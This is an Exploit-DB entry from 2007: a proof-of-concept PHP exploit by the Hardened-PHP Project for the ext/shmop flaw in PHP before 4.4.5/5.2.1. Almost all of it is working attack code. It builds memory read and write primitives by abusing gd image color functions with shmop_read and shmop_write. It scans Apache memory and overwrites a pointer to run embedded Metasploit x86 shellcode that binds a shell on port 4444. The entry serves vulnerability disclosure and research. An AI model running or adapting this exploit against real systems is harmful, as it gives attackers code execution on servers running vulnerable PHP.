PHP < 4.4.5/5.2.1 - 'shmop' Local Code Execution

EDB-ID:

3426


Platform:

Linux

Published:

2007-03-07

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                PHP ext/shmop Code Execution Exploit                //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("gd") || !extension_loaded("shmop")) {
    die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
  }

  // This exploit contains a bindshell shellcode for linux x86 from metasploit
  // Therefore it only works with linux x86. It only works in PHP < 5.2.0 because
  // it searches for the shellcode by simply scanning the Apache memory
  // which is not possible with the new memory manager anymore
  
  $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  function init()
  {
    global $rid;
    
    $rid = imagecreate(10,10);
    imagecolorallocate($rid, 0, 0, 0);
    imagecolorallocate($rid, 0, 0, 0);
  }
  
  function peek($addr, $size)
  {
    global $rid;
    imagecolordeallocate($rid, 0);
    imagecolordeallocate($rid, 1);
    imagecolorallocate($rid, $addr, 0, 0);
    imagecolorallocate($rid, $size, 0, 0);
    return shmop_read((int)$rid, 0, $size);
  }
  
  function poke($addr, $val)
  {
    global $rid;
    imagecolordeallocate($rid, 0);
    imagecolordeallocate($rid, 1);
    imagecolorallocate($rid, $addr, 0, 0);
    imagecolorallocate($rid, strlen($val), 0, 0);
    return shmop_write((int)$rid, $val, 0);
  }

  init();
  
  $arr = array();
  for ($i=0; $i<129; $i++) { $arr[$i] = ""; }
  $arr[$shellcode] = 1;
  for ($i=0; $i<129; $i++) { unset($arr[$i]); }
  
  $offset = 0x08048000 + 1024 * 64;
  
  while (1) {
  
    $data = peek($offset, 1024 + 16);
    
    $position = strpos($data, "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00");
    if ($position !== false && $position < 1024) {
  
      $addr = unpack("L", peek($offset+$position+24, 4));
      $addr = $addr[1] + 32;
      $addr = pack("L", $addr);
      
      poke($offset+$position+32, $addr);
      
      echo "There should be a shell bound to port 4444 now\n\n";
      unset($arr);
      die();
    }
    $offset += 1024;
  }
?>

# milw0rm.com [2007-03-07]